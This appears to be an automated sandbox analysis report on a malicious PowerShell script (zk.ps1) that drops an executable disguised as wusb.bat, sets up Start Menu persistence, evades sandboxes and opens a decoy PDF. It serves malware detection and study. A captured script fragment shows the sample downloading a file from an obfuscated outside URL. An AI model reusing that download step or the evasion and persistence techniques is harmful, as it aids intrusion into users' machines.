Windows Analysis Report
zk.ps1

Source: C:\Users\Public\wusb.bat

Code function: 2_2_0040333D EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

2_2_0040333D

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FF9A5901CD8	0_2_00007FF9A5901CD8
Source: C:\Users\Public\wusb.bat	Code function: 2_2_00406956	2_2_00406956
Source: C:\Users\Public\wusb.bat	Code function: 2_2_00404C2C	2_2_00404C2C

Source: C:\Users\Public\wusb.bat

Process Stats: CPU usage > 98%

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\zk.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\wusb.bat "C:\Users\Public\wusb.bat"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\user\Desktop\List of required items and services.pdf
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\wusb.bat "C:\Users\Public\wusb.bat"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\user\Desktop\List of required items and services.pdf	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\Public\wusb.bat

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Users\Public\wusb.bat

2_2_0040333D

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\wusb.bat

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ohunyas2.sup.ps1

Source: classification engine

Classification label: mal56.evad.winPS1@13/63@3/3

Source: C:\Users\Public\wusb.bat

Code function: 2_2_004020FE CoCreateInstance,

2_2_004020FE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Source: C:\Users\Public\wusb.bat

Code function: 2_2_004046B0 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

2_2_004046B0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5676:120:WilError_01

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source:	Binary string: C:\Code\SharpDX\Source\SharpDX.DXGI\bin\Release\SharpDX.DXGI.pdbLm source: wusb.bat, 00000002.00000003.428592709.00000000027D9000.00000004.00000020.00020000.00000000.sdmp, SharpDX.DXGI.dll.2.dr
Source:	Binary string: C:\Code\SharpDX\Source\SharpDX.DXGI\bin\Release\SharpDX.DXGI.pdb source: wusb.bat, 00000002.00000003.428592709.00000000027D9000.00000004.00000020.00020000.00000000.sdmp, SharpDX.DXGI.dll.2.dr

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FF9A5904FF7 push esp; retf		0_2_00007FF9A5904FF8
Source: C:\Users\Public\wusb.bat	Code function: 2_2_10002DE0 push eax; ret		2_2_10002E0E

Source: C:\Users\Public\wusb.bat

Code function: 2_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

2_2_10001B18

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\wusb.bat

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\wusb.bat	Jump to dropped file
Source: C:\Users\Public\wusb.bat	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Troubleshooting\Egueiite240\SharpDX.DXGI.dll	Jump to dropped file
Source: C:\Users\Public\wusb.bat	File created: C:\Users\user\AppData\Local\Temp\nsr743A.tmp\System.dll	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\wusb.bat

Drops PE files to the user root directory

Boot Survival

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\wusb.bat

Powershell creates an autostart link

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: .lnk -Name));getit -fz ($fzf + 'List of required items and services.pdf') -oulv 'http://www.blumo4maxxlasmo4r.com/rh/List%20of%20rmo4quirmo4d%20itmo4ms%20and%20smo4rvicmo4s.pdf';exit@{# Script module or binary module file associated with this manifest.ModuleToProcess = 'Pester.psm1'# Version number of this module.ModuleVersion = '3.4.0'# ID used to uniquely identify this moduleGUID = 'a699dea5-2c73-4616-a270-1f7abb777e71'# Author of this moduleAuthor = 'Pester Team'# Company or vendor of this moduleCompanyName = 'Pester'# Copyright statement for this moduleCopyright = 'Copyright (c) 2016 by Pester Team, licensed under Apache 2.0 License.'# Description of the functionality provided by this moduleDescription = 'Pester provides a framework for running BDD style Tests to execute and validate PowerShell commands inside of PowerShell and offers a powerful set of Mocking Functions that allow tests to mimic and mock the functionality of any command inside of a piece of powershell code being tested. Pester tests can execute any command or script that is accesible to a pester test file. This can include functions, Cmdlets, Modules and scripts. Pester can be run in ad hoc style in a console or it can be integrated into the Build scripts of a Continuous Integration system.'# Minimum version of the Windows PowerShell engine required by this modulePowerShellVersion = '2.0'# Functions to export from this moduleFunctionsToExport = @( 'Describe', 'Context', 'It', 'Should', 'Mock', 'Assert-MockCalled', 'Assert-VerifiableMocks', 'New-Fixture', 'Get-TestDriveItem', 'Invoke-Pester', 'Setup', 'In', 'InModuleScope', 'Invoke-Mock', 'BeforeEach', 'AfterEach', 'BeforeAll', 'AfterAll' 'Get-MockDynamicParameters', 'Set-DynamicParameterVariables', 'Set-TestInconclusive', 'SafeGetCommand', 'New-PesterOption')# # Cmdlets to export from this module# CmdletsToExport = '*'# Variables to export from this moduleVariablesToExport = @( 'Path', 'TagFilter', 'ExcludeTagFilter', 'TestNameFilter', 'TestResult', 'CurrentContext', 'CurrentDescribe', 'CurrentTest', 'SessionState', 'CommandCoverage', 'BeforeEach', 'AfterEach', 'Strict')# # Aliases to export from this module# AliasesToExport = '*'# List of all modules packaged with this module# ModuleList = @()# List of all files packaged with this module# FileList = @()PrivateData = @{ # PSData is module packaging and gallery metadata embedded in PrivateData # It's for rebuilding PowerShellGet (and PoshCode) NuGet-style packages # We had to do this because it's the only place we're allowed to extend the manifest # https://connect.microsoft.com/PowerShell/feedback/details/421837 PSData = @{ # The primary categorization of this module (from the TechNet Gallery tech tree). Category = "Scripting Techniques" # Keyword tags to help users find this module via navigations and search. Tags = @('powers

Source: C:\Users\Public\wusb.bat	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Langust			Jump to behavior
Source: C:\Users\Public\wusb.bat	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Langust\Grade			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\wusb.bat	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Opens the same file many times (likely Sandbox evasion)

Source: C:\Users\Public\wusb.bat

File opened: C:\Users\user\Videos\Tonishly\Unitten\Hyoscyamine.ini count: 49915

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6836

Thread sleep time: -4611686018427385s >= -30000s

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window / User API: threadDelayed 9810

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Users\Public\wusb.bat	Code function: 2_2_0040595A GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	2_2_0040595A
Source: C:\Users\Public\wusb.bat	Code function: 2_2_0040658F FindFirstFileW,FindClose,	2_2_0040658F
Source: C:\Users\Public\wusb.bat	Code function: 2_2_00402862 FindFirstFileW,	2_2_00402862

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\Public\wusb.bat	API call chain: ExitProcess graph end node			graph_2-4937
Source: C:\Users\Public\wusb.bat	API call chain: ExitProcess graph end node			graph_2-4942

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: powershell.exe, 00000000.00000002.511334823.000001CDDA6A0000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAWCult%SystemRoot%\system32\mswsock.dll

Source: C:\Users\Public\wusb.bat

Code function: 2_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

2_2_10001B18

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\wusb.bat "C:\Users\Public\wusb.bat"			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\user\Desktop\List of required items and services.pdf			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
